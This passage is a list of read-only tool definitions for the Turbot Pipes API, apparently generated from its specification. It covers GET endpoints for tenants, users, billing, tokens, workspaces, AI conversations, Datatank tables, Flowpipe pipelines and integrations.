turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_trigger (read) — List organization workspace triggers via GET /org/{org_handle}/workspace/{workspace_handle}/trigger. Lists the pipelines for an organization workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/trigger. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_usage (read) — List org workspace usage via GET /org/{org_handle}/workspace/{workspace_handle}/usage. List the usage associated with an org workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/usage. Scopes: api. turbotpipes_get_service_account (read) — List tenant service accounts via GET /service_account. Lists service accounts at the tenant level. GET /api/v1/turbotpipes/service_account. Scopes: api. turbotpipes_get_service_account_by_service_account_identifier (read) — Get tenant service account via GET /service_account/{service_account_identifier}. Retrieves a specific tenant-level service account. GET /api/v1/turbotpipes/service_account/{service_account_identifier}. Scopes: api. turbotpipes_get_service_account_by_service_account_identifier_audit_log (read) — List audit logs for a tenant service account via GET /service_account/{service_account_identifier}/audit_log. Returns the audit logs where the service account is either the actor or the identity (tenant-level service account). GET /api/v1/turbotpipes/service_account/{service_account_identifier}/audit_log. Scopes: api. turbotpipes_get_service_account_by_service_account_identifier_token (read) — List tenant service account tokens via GET /service_account/{service_account_identifier}/token. Lists tokens for a tenant-level service account. GET /api/v1/turbotpipes/service_account/{service_account_identifier}/token. Scopes: api. turbotpipes_get_service_account_by_service_account_identifier_token_by_token_id (read) — Get a tenant service account token via GET /service_account/{service_account_identifier}/token/{token_id}. Retrieves a specific token for a tenant-level service account. GET /api/v1/turbotpipes/service_account/{service_account_identifier}/token/{token_id}. Scopes: api. turbotpipes_get_settings (read) — Get tenant settings via GET /settings. Retrieves the tenant settings. GET /api/v1/turbotpipes/settings. Scopes: api. turbotpipes_get_signup_confirm (read) — Confirm user signup. via GET /signup/confirm GET /api/v1/turbotpipes/signup/confirm. Scopes: api. turbotpipes_get_tenant (read) — List tenants the actor is a member of. via GET /tenant GET /api/v1/turbotpipes/tenant. Scopes: api. turbotpipes_get_tenant_by_tenant_handle (read) — Get tenant via GET /tenant/{tenant_handle}. Retrieves the tenant information. GET /api/v1/turbotpipes/tenant/{tenant_handle}. Scopes: api. turbotpipes_get_tenant_by_tenant_handle_avatar (read) — Get tenant avatar via GET /tenant/{tenant_handle}/avatar. Get public avatar for a tenant. GET /api/v1/turbotpipes/tenant/{tenant_handle}/avatar. Scopes: api. turbotpipes_get_tenant_by_tenant_handle_billing_invoice (read) — List tenant invoices. TODO: paging, Stripe suports this we need to to implement it. via GET /tenant/{tenant_handle}/billing/invoice GET /api/v1/turbotpipes/tenant/{tenant_handle}/billing/invoice. Scopes: api. turbotpipes_get_tenant_by_tenant_handle_billing_invoice_by_invoice_id (read) — Get a tenant invoice via GET /tenant/{tenant_handle}/billing/invoice/{invoice_id}. Get an invoice for a tenant. GET /api/v1/turbotpipes/tenant/{tenant_handle}/billing/invoice/{invoice_id}. Scopes: api. turbotpipes_get_tenant_by_tenant_handle_billing_payment_method (read) — List tenant billing payment methods. via GET /tenant/{tenant_handle}/billing/payment_method GET /api/v1/turbotpipes/tenant/{tenant_handle}/billing/payment_method. Scopes: api. turbotpipes_get_tenant_by_tenant_handle_billing_payment_method_by_payment_method_id (read) — Get tenant billing payment method. via GET /tenant/{tenant_handle}/billing/payment_method/{payment_method_id}. List tenant billing payment method. GET /api/v1/turbotpipes/tenant/{tenant_handle}/billing/payment_method/{payment_method_id}. Scopes: api. turbotpipes_get_tenant_by_tenant_handle_billing_plan (read) — Get tenant billing plan. via GET /tenant/{tenant_handle}/billing/plan. Get the current tenant billing plan. GET /api/v1/turbotpipes/tenant/{tenant_handle}/billing/plan. Scopes: api. turbotpipes_get_tenant_by_tenant_handle_billing_stripe_invoice_upcoming (read) — Get upcoming invoice. Can be used to let subscriber know the estimated amount for next invoice. via GET /tenant/{tenant_handle}/billing/stripe/invoice/upcoming GET /api/v1/turbotpipes/tenant/{tenant_handle}/billing/stripe/invoice/upcoming. Scopes: api. turbotpipes_get_tenant_by_tenant_handle_billing_subscription (read) — List tenant subscriptions. via GET /tenant/{tenant_handle}/billing/subscription GET /api/v1/turbotpipes/tenant/{tenant_handle}/billing/subscription. Scopes: api. turbotpipes_get_tenant_by_tenant_handle_billing_subscription_by_subscription_id (read) — Get tenant subscription via GET /tenant/{tenant_handle}/billing/subscription/{subscription_id} GET /api/v1/turbotpipes/tenant/{tenant_handle}/billing/subscription/{subscription_id}. Scopes: api. turbotpipes_get_tenant_by_tenant_handle_constraint (read) — List tenant constraints via GET /tenant/{tenant_handle}/constraint. List all applicable constraints for a tenant. GET /api/v1/turbotpipes/tenant/{tenant_handle}/constraint. Scopes: api. turbotpipes_get_tenant_by_tenant_handle_member (read) — List Tenant Members via GET /tenant/{tenant_handle}/member. List all members of a tenant who are invited / accepted. GET /api/v1/turbotpipes/tenant/{tenant_handle}/member. Scopes: api. turbotpipes_get_tenant_by_tenant_handle_member_by_user_handle (read) — Get tenant member. via GET /tenant/{tenant_handle}/member/{user_handle} GET /api/v1/turbotpipes/tenant/{tenant_handle}/member/{user_handle}. Scopes: api. turbotpipes_get_tenant_by_tenant_handle_member_invite_confirm (read) — Confirm tenant member invite. via GET /tenant/{tenant_handle}/member/invite/confirm GET /api/v1/turbotpipes/tenant/{tenant_handle}/member/invite/confirm. Scopes: api. turbotpipes_get_tenant_by_tenant_handle_usage (read) — List tenant usage via GET /tenant/{tenant_handle}/usage. List all usage metrics for a tenant. GET /api/v1/turbotpipes/tenant/{tenant_handle}/usage. Scopes: api. turbotpipes_get_user (read) — List users via GET /user. List the users. GET /api/v1/turbotpipes/user. Scopes: api. turbotpipes_get_user_by_user_handle (read) — Get user via GET /user/{user_handle}. Retrieves information of the specified user. GET /api/v1/turbotpipes/user/{user_handle}. Scopes: api. turbotpipes_get_user_by_user_handle_ai_key (read) — List user AI keys via GET /user/{user_handle}/ai/key. Lists AI provider API keys configured at the user level. GET /api/v1/turbotpipes/user/{user_handle}/ai/key. Scopes: api. turbotpipes_get_user_by_user_handle_ai_key_by_provider (read) — Get user AI key via GET /user/{user_handle}/ai/key/{provider}. Retrieves the AI provider API key metadata at the user level. GET /api/v1/turbotpipes/user/{user_handle}/ai/key/{provider}. Scopes: api. turbotpipes_get_user_by_user_handle_audit_log (read) — User audit logs via GET /user/{user_handle}/audit_log. Returns the audit logs for a user. GET /api/v1/turbotpipes/user/{user_handle}/audit_log. Scopes: api. turbotpipes_get_user_by_user_handle_billing_invoice (read) — List user invoices. TODO: paging, Stripe suports this we need to to implement it. via GET /user/{user_handle}/billing/invoice GET /api/v1/turbotpipes/user/{user_handle}/billing/invoice. Scopes: api. turbotpipes_get_user_by_user_handle_billing_invoice_by_invoice_id (read) — Get a user invoice via GET /user/{user_handle}/billing/invoice/{invoice_id}. Get an invoice. GET /api/v1/turbotpipes/user/{user_handle}/billing/invoice/{invoice_id}. Scopes: api. turbotpipes_get_user_by_user_handle_billing_payment_method (read) — List user billing payment methods. via GET /user/{user_handle}/billing/payment_method GET /api/v1/turbotpipes/user/{user_handle}/billing/payment_method. Scopes: api. turbotpipes_get_user_by_user_handle_billing_payment_method_by_payment_method_id (read) — Get user billing payment method. via GET /user/{user_handle}/billing/payment_method/{payment_method_id}. List user billing payment method. GET /api/v1/turbotpipes/user/{user_handle}/billing/payment_method/{payment_method_id}. Scopes: api. turbotpipes_get_user_by_user_handle_billing_plan (read) — Get user billing plan. via GET /user/{user_handle}/billing/plan. Get the current user billing plan. GET /api/v1/turbotpipes/user/{user_handle}/billing/plan. Scopes: api. turbotpipes_get_user_by_user_handle_billing_stripe_invoice_upcoming (read) — Get upcoming user invoice via GET /user/{user_handle}/billing/stripe/invoice/upcoming. Get the upcoming invoice for this user. Can be used to let the user know the estimated amount for next invoice. GET /api/v1/turbotpipes/user/{user_handle}/billing/stripe/invoice/upcoming. Scopes: api. turbotpipes_get_user_by_user_handle_billing_subscription (read) — List user subscriptions. TODO: user should only have 1 active subscriptions, but what if we change subscriptions (is it possible?). Should we display old subscriptions? via GET /user/{user_handle}/billing/subscription GET /api/v1/turbotpipes/user/{user_handle}/billing/subscription. Scopes: api. turbotpipes_get_user_by_user_handle_billing_subscription_by_subscription_id (read) — Get user subscription via GET /user/{user_handle}/billing/subscription/{subscription_id} GET /api/v1/turbotpipes/user/{user_handle}/billing/subscription/{subscription_id}. Scopes: api. turbotpipes_get_user_by_user_handle_connection (read) — List user connections via GET /user/{user_handle}/connection. List connections for a user. GET /api/v1/turbotpipes/user/{user_handle}/connection. Scopes: api. turbotpipes_get_user_by_user_handle_connection_by_connection_handle (read) — Get user connection via GET /user/{user_handle}/connection/{connection_handle}. Get the details of a connection belonging to a user. GET /api/v1/turbotpipes/user/{user_handle}/connection/{connection_handle}. Scopes: api. turbotpipes_get_user_by_user_handle_connection_by_connection_handle_workspace (read) — List user connection workspaces via GET /user/{user_handle}/connection/{connection_handle}/workspace. List the workspaces that a user connection has been added to. GET /api/v1/turbotpipes/user/{user_handle}/connection/{connection_handle}/workspace. Scopes: api. turbotpipes_get_user_by_user_handle_constraint (read) — List user constraints via GET /user/{user_handle}/constraint. List all applicable constraints for a user. GET /api/v1/turbotpipes/user/{user_handle}/constraint. Scopes: api. turbotpipes_get_user_by_user_handle_email (read) — List user emails via GET /user/{user_handle}/email. List emails for a user along with other metadata information for each item. GET /api/v1/turbotpipes/user/{user_handle}/email. Scopes: api. turbotpipes_get_user_by_user_handle_email_by_email_id (read) — Get user email via GET /user/{user_handle}/email/{email_id}. Get a particular user email record along with its metadata information. GET /api/v1/turbotpipes/user/{user_handle}/email/{email_id}. Scopes: api. turbotpipes_get_user_by_user_handle_integration (read) — List user integrations via GET /user/{user_handle}/integration. List integrations configuered for a user. GET /api/v1/turbotpipes/user/{user_handle}/integration. Scopes: api. turbotpipes_get_user_by_user_handle_integration_by_integration_handle (read) — Get user integration via GET /user/{user_handle}/integration/{integration_handle}. Get details of an integration configured on a user. GET /api/v1/turbotpipes/user/{user_handle}/integration/{integration_handle}. Scopes: api. turbotpipes_get_user_by_user_handle_integration_by_integration_handle_github_install (read) — Install GitHub integration for a user via GET /user/{user_handle}/integration/{integration_handle}/github/install. Install a GitHub integration for a user identity. GET /api/v1/turbotpipes/user/{user_handle}/integration/{integration_handle}/github/install. Scopes: api. turbotpipes_get_user_by_user_handle_integration_by_integration_handle_slack_channel (read) — List user integration Slack channels via GET /user/{user_handle}/integration/{integration_handle}/slack/channel. List Slack channels that are given access to a user Slack integration. GET /api/v1/turbotpipes/user/{user_handle}/integration/{integration_handle}/slack/channel. Scopes: api. turbotpipes_get_user_by_user_handle_integration_by_integration_handle_slack_install (read) — Install Slack integration for a user via GET /user/{user_handle}/integration/{integration_handle}/slack/install. Install a Slack integration for a user identity. GET /api/v1/turbotpipes/user/{user_handle}/integration/{integration_handle}/slack/install. Scopes: api. turbotpipes_get_user_by_user_handle_notifier (read) — List user notifiers via GET /user/{user_handle}/notifier. List all notifiers for a user GET /api/v1/turbotpipes/user/{user_handle}/notifier. Scopes: api. turbotpipes_get_user_by_user_handle_notifier_by_notifier_name (read) — Get user notifier via GET /user/{user_handle}/notifier/{notifier_name}. Get a notifier for a user GET /api/v1/turbotpipes/user/{user_handle}/notifier/{notifier_name}. Scopes: api. turbotpipes_get_user_by_user_handle_password (read) — Get user password. via GET /user/{user_handle}/password GET /api/v1/turbotpipes/user/{user_handle}/password. Scopes: api. turbotpipes_get_user_by_user_handle_preferences (read) — Get user preferences via GET /user/{user_handle}/preferences. Get preferences for the user such as email preferences. GET /api/v1/turbotpipes/user/{user_handle}/preferences. Scopes: api. turbotpipes_get_user_by_user_handle_process (read) — List User processes via GET /user/{user_handle}/process. List processes for a user. GET /api/v1/turbotpipes/user/{user_handle}/process. Scopes: api. turbotpipes_get_user_by_user_handle_process_by_process_id (read) — Get User process via GET /user/{user_handle}/process/{process_id}. Get process for a user. GET /api/v1/turbotpipes/user/{user_handle}/process/{process_id}. Scopes: api. turbotpipes_get_user_by_user_handle_process_by_process_id_log_by_log_file_by_content_type (read) — List user process logs via GET /user/{user_handle}/process/{process_id}/log/{log_file}.{content_type}. List the process logs for a given process of a user. GET /api/v1/turbotpipes/user/{user_handle}/process/{process_id}/log/{log_file}.{content_type}. Scopes: api. turbotpipes_get_user_by_user_handle_token (read) — List tokens via GET /user/{user_handle}/token. List the token for a user. GET /api/v1/turbotpipes/user/{user_handle}/token. Scopes: api. turbotpipes_get_user_by_user_handle_token_by_token_id (read) — Get token via GET /user/{user_handle}/token/{token_id}. Retrieves the information of a specified token. GET /api/v1/turbotpipes/user/{user_handle}/token/{token_id}. Scopes: api. turbotpipes_get_user_by_user_handle_usage (read) — List user usage via GET /user/{user_handle}/usage. List all usage metrics for a user. GET /api/v1/turbotpipes/user/{user_handle}/usage. Scopes: api. turbotpipes_get_user_by_user_handle_workspace (read) — List user workspaces via GET /user/{user_handle}/workspace. List the workspace for a user. GET /api/v1/turbotpipes/user/{user_handle}/workspace. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle (read) — Get user workspace via GET /user/{user_handle}/workspace/{workspace_handle}. Get the details for the workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_aggregator (read) — List aggregators for a user workspace via GET /user/{user_handle}/workspace/{workspace_handle}/aggregator. List aggregators for a workspace of a user. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/aggregator. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_aggregator_by_aggregator_handle (read) — Get an aggregator for a user workspace via GET /user/{user_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}. Get the details of an aggregator belonging to a workspace of a user. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_aggregator_by_aggregator_handle_connection (read) — List connections in the scope of an aggregator for a user workspace via GET /user/{user_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}/connection. List all connections that are a part of an aggregator defined in a workspace of a user. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}/connection. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_aggregator_by_aggregator_handle_connection_by_connection_handle (read) — Get a connection in the scope of an aggregator for a user workspace via GET /user/{user_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}/connection/{connection_handle}. Get a connection that is a part of an aggregator defined in a workspace of a user. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}/connection/{connection_handle}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_ai_conversation (read) — List user workspace conversations via GET /user/{user_handle}/workspace/{workspace_handle}/ai/conversation. Lists AI conversations in a user workspace with optional filtering and pagination. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/ai/conversation. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_ai_conversation_by_conversation_id (read) — Get user workspace conversation via GET /user/{user_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}. Retrieves details for a specific user workspace conversation. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_ai_conversation_by_conversation_id_artifact_by_artifact_id (read) — Get user workspace conversation artifact metadata via GET /user/{user_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}/artifact/{artifact_id}. Retrieves metadata for a specific artifact created by a user workspace conversation. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}/artifact/{artifact_id}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_ai_conversation_by_conversation_id_artifact_by_artifact_id_by_content_type (read) — Download user workspace artifact via GET /user/{user_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}/artifact/{artifact_id}.{content_type}. Downloads an artifact file from a user workspace AI conversation. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}/artifact/{artifact_id}.{content_type}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_ai_conversation_by_conversation_id_message (read) — List user workspace conversation messages via GET /user/{user_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}/message. Lists messages for a specific user workspace conversation with pagination. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}/message. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_ai_model (read) — List user workspace AI models via GET /user/{user_handle}/workspace/{workspace_handle}/ai/model. Lists available AI models for a user workspace based on configured AI keys. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/ai/model. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_audit_log (read) — User workspace audit logs via GET /user/{user_handle}/workspace/{workspace_handle}/audit_log. Returns the audit logs for a user workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/audit_log. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_conn (read) — List user workspace connection associations via GET /user/{user_handle}/workspace/{workspace_handle}/conn. List the connections associated with a workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/conn. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_conn_by_conn_handle (read) — Get user workspace connection association via GET /user/{user_handle}/workspace/{workspace_handle}/conn/{conn_handle}. Get the details for a workspace and connection association. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/conn/{conn_handle}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_connection (read) — List connections for a user workspace via GET /user/{user_handle}/workspace/{workspace_handle}/connection. List connections explicitly defined or associated to the workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/connection. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_connection_by_connection_handle (read) — Get user workspace connection association via GET /user/{user_handle}/workspace/{workspace_handle}/connection/{connection_handle}. Get the details for a workspace and connection association. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/connection/{connection_handle}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_connection_folder (read) — List user workspace connections folders via GET /user/{user_handle}/workspace/{workspace_handle}/connection_folder. List connection folders for a user workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/connection_folder. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_connection_folder_by_folder_id (read) — Get user workspace connection folder via GET /user/{user_handle}/workspace/{workspace_handle}/connection_folder/{folder_id}. Get connection folder for a user workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/connection_folder/{folder_id}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_connection_tree (read) — List user workspace connection tree via GET /user/{user_handle}/workspace/{workspace_handle}/connection_tree. List connection tree for a user workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/connection_tree. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_datatank (read) — List user workspace Datatank via GET /user/{user_handle}/workspace/{workspace_handle}/datatank. List the user workspace Datatank. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/datatank. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_datatank_by_datatank_handle (read) — Get user workspace Datatank via GET /user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}. Get the details for the workspace Datatank. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table (read) — List user workspace Datatank tables via GET /user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table. List the user workspace Datatank tables. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table_by_datatank_table_name (read) — Get user workspace Datatank table via GET /user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}. Get the details for the workspace Datatank table GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table_by_datatank_table_name_part (read) — List user workspace Datatank partitions via GET /user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/part. List the user workspace Datatank partitions GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/part. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table_by_datatank_table_name_table_by_datatank_part_id (read) — Get user workspace Datatank table partition via GET /user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/table/{datatank_part_id}. Get the details for the workspace Datatank table partition GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/table/{datatank_part_id}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_db_log (read) — User workspace logs via GET /user/{user_handle}/workspace/{workspace_handle}/db_log. Returns the workspace logs for a user. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/db_log. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_flowpipe_form_by_step_execution_id_by_random_id (read) — Get user workspace flowpipe form via GET /user/{user_handle}/workspace/{workspace_handle}/flowpipe/form/{step_execution_id}/{random_id}. Get details of a Flowpipe input step form for a user workspace GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/form/{step_execution_id}/{random_id}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_flowpipe_input (read) — List user workspace flowpipe inputs via GET /user/{user_handle}/workspace/{workspace_handle}/flowpipe/input. List Flowpipe inputs for a user workspace GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/input. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_flowpipe_input_by_input_id (read) — Get user workspace flowpipe input via GET /user/{user_handle}/workspace/{workspace_handle}/flowpipe/input/{input_id}. Get details of a Flowpipe input for a user workspace GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/input/{input_id}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias (read) — Get user workspace installed flowpipe mod by mod alias via GET /user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias} GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias_variable (read) — List variables for a user workspace flowpipe mod via GET /user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable. List all variables applicable for a flowpipe mod in a workspace specific to a user GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias_variable_by_variable_name (read) — Get setting for a flowpipe mod variable in a user workspace via GET /user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable/{variable_name} GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable/{variable_name}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_flowpipe_pipeline (read) — List user workspace pipelines via GET /user/{user_handle}/workspace/{workspace_handle}/flowpipe/pipeline. Lists the pipelines for a user workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/pipeline. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_flowpipe_pipeline_by_pipeline_id (read) — Get user workspace pipeline via GET /user/{user_handle}/workspace/{workspace_handle}/flowpipe/pipeline/{pipeline_id}. Get the details of a pipeline for a workspace of a user. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/pipeline/{pipeline_id}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_flowpipe_pipeline_by_pipeline_id_trigger (read) — Get user workspace pipeline triggers via GET /user/{user_handle}/workspace/{workspace_handle}/flowpipe/pipeline/{pipeline_id}/trigger. Get the list of triggers that a pipeline is associated with. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/pipeline/{pipeline_id}/trigger. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_flowpipe_trigger_by_trigger_name (read) — Get user workspace flowpipe trigger via GET /user/{user_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}. Get the details of a trigger for a workspace of a user. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_integration (read) — List user workspace integrations via GET /user/{user_handle}/workspace/{workspace_handle}/integration. List integrations available for a user workspace. If run on a custom tenant this will return integrations configured both on tenant and user level. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/integration. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_integration_by_integration_handle (read) — Get user workspace integration via GET /user/{user_handle}/workspace/{workspace_handle}/integration/{integration_handle}. Get details of an integration available for a workspace belonging to a user. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/integration/{integration_handle}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_integration_by_integration_handle_github_repository (read) — List user workspace integration github respositories via GET /user/{user_handle}/workspace/{workspace_handle}/integration/{integration_handle}/github/repository. List respositories that are given access to the integration available for a user workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/integration/{integration_handle}/github/repository. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_integration_by_integration_handle_github_repository_by_repository_owner_by_repository_name_head (read) — List user workspace integration github respository heads via GET /user/{user_handle}/workspace/{workspace_handle}/integration/{integration_handle}/github/repository/{repository_owner}/{repository_name}/head. List heads for a respository of an integration available for a user workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/integration/{integration_handle}/github/repository/{repository_owner}/{repository_name}/head. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_integration_by_integration_handle_gitlab_project (read) — List user workspace integration gitlab projects via GET /user/{user_handle}/workspace/{workspace_handle}/integration/{integration_handle}/gitlab/project. List gitlab proejcts that are given access to the integration available for a user workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/integration/{integration_handle}/gitlab/project. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_integration_by_integration_handle_gitlab_project_by_project_id_branch (read) — List user workspace integration gitlab project branches via GET /user/{user_handle}/workspace/{workspace_handle}/integration/{integration_handle}/gitlab/project/{project_id}/branch. List branches for a gitlab project of an integration available for a user workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/integration/{integration_handle}/gitlab/project/{project_id}/branch. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_mod (read) — List user workspace installed mods via GET /user/{user_handle}/workspace/{workspace_handle}/mod GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/mod. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_mod_by_mod_alias (read) — Get user workspace installed mod by mod alias via GET /user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias} GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_mod_by_mod_alias_variable (read) — List variables for a user workspace mod via GET /user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable. List all variables applicable for a mod in a workspace specific to a user GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_mod_by_mod_alias_variable_by_variable_name (read) — Get setting for a mod variable in a user workspace via GET /user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable/{variable_name} GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable/{variable_name}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_notifier (read) — List user workspace notifiers via GET /user/{user_handle}/workspace/{workspace_handle}/notifier. List all notifiers for a user workspace GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/notifier. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_notifier_by_notifier_name (read) — Get user workspace notifier via GET /user/{user_handle}/workspace/{workspace_handle}/notifier/{notifier_name}. Get a notifier for a user workspace GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/notifier/{notifier_name}. 